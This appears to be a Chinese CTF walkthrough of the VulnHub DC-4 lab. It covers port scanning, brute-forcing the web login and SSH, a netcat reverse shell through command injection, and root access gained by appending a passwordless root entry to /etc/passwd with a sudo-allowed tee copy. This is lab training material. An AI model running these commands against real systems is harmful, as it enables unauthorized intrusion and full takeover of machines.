vulnhub过关之旅(DC-4)

1.信息收集

1.1存活主机探测

使用masscan快速探测目标ip

sudo masscan --ping 192.168.100.1/24 --rate=1000

成功获得目标ip为192.168.100.146

Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-07-25 07:25:06 GMT
Initiating ICMP Echo Scan
Scanning 256 hosts
Discovered open port 0/icmp on 192.168.100.146                                 
Discovered open port 0/icmp on 192.168.100.2

1.2目标端口扫描

使用nmap对目标主机进行端口探测

sudo nmap 192.168.100.146 -p 1-65535 -sV

扫描结果为:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 15:27 CST
Nmap scan report for 192.168.100.146
Host is up (0.00088s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    nginx 1.15.10
MAC Address: 00:0C:29:E5:33:93 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.72 seconds

从结果可以看出目标主机开了80端口和22端口,这就访问一下80端口看看网页上有没有什么漏洞。

2.漏洞探测与利用

在浏览器中输入192.168.100.146尝试访问网页

输入用户名admin,然后尝试一些弱密码均失败,但是没有防护穷举的措施,所以这里采用burp爆破(本来想用sql注入的但是没有效果,之后把源码打包过来发现它并没有连接数据库)。

首先burp抓发送到intruder模块

通过使用top1000的密码字典成功获得admin的登录密码happy,使用这个密码成功登录

点击command,发现里面有个可以执行Linux命令的功能,接下来进行抓包和修改命令执行

对数据包中的命令进行修改:nc 192.168.100.129 12345 -e /bin/sh
在kali中输入nc命令监听:nc -lvnp 12345

成功得到反弹回来的shell

3.提权

上面操作和获得了一个www-data用户的shell,接下来进行提权操作。

首先进入到/home目录下查看用户,发现只有jim用户下有文件,进入jim的文件夹中查看里面的文件,只能查看backups文件夹中的密码本文件,查看该文件猜测它可能是个登录密码字典。

接下来使用home目录下的三个用户名生成user.txt文件,然后把该旧密码本备份文件中的密码生成pass.txt文件,使用hydra爆破ssh登录。

hydra -L ./user.txt -P ./pass.txt -t 20 -vV -e ns 192.168.100.146 ssh -o ssh.txt -f  

成功获得jim的登录密码为 jibril04

[22][ssh] host: 192.168.100.146   login: jim   password: jibril04

使用该密码进行ssh登录,然后查看mbox中的内容发现是一封邮件。

jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
	(envelope-from <root@dc-4>)
	id 1hCiQe-0000gc-EC
	for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

再到var目录下找到mail文件夹,进入后查看jim的邮件,其中邮件内容部分透露出了charles用户的密码,最后使用

sudo -l命令来看看jim用户下有没有什么免密码就可以以root执行的程序,发现并没有。

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

使用su命令切换到charles用户,然后使用sudo -l命令查看,找到一个teehee程序

charles@dc-4:/home$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee

然后查看teehee程序的帮助

charles@dc-4:/home$ teehee --help
Usage: teehee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.

  -a, --append              append to the given FILEs, do not overwrite
  -i, --ignore-interrupts   ignore interrupt signals
  -p                        diagnose errors writing to non pipes
      --output-error[=MODE]   set behavior on write error.  See MODE below
      --help     display this help and exit
      --version  output version information and exit

MODE determines behavior with write errors on the outputs:
  'warn'         diagnose errors writing to any output
  'warn-nopipe'  diagnose errors writing to any output not a pipe
  'exit'         exit on error writing to any output
  'exit-nopipe'  exit on error writing to any output not a pipe
The default MODE for the -p option is 'warn-nopipe'.
The default operation when --output-error is not specified, is to
exit immediately on error writing to a pipe, and diagnose errors
writing to non pipe outputs.

GNU coreutils online help: <http://www.gnu.org/software/coreutils/>
Full documentation at: <http://www.gnu.org/software/coreutils/tee>
or available locally via: info '(coreutils) tee invocation'

发现这个程序加入-a命令可以在一个文件后面写入内容,一开始是想用scp命令把它传输到本机中试试逆向分析看看有没有二进制漏洞的,但是发现scp的时候权限不够,也没有源码,那就换个思路,利用它可以免密码以root执行的特点在passwd文件后面加入一个root用户,使其密码为空。

charles@dc-4:/home$ sudo teehee -a /etc/passwd
hi::0:0:hi:/root:/bin/bash
hi::0:0:hi:/root:/bin/bash

然后使用新创建的用户hi登录

charles@dc-4:/home$ su hi
root@dc-4:/home# whoami
root

成功获得root权限,攻击成功,进入root的家目录下收获flag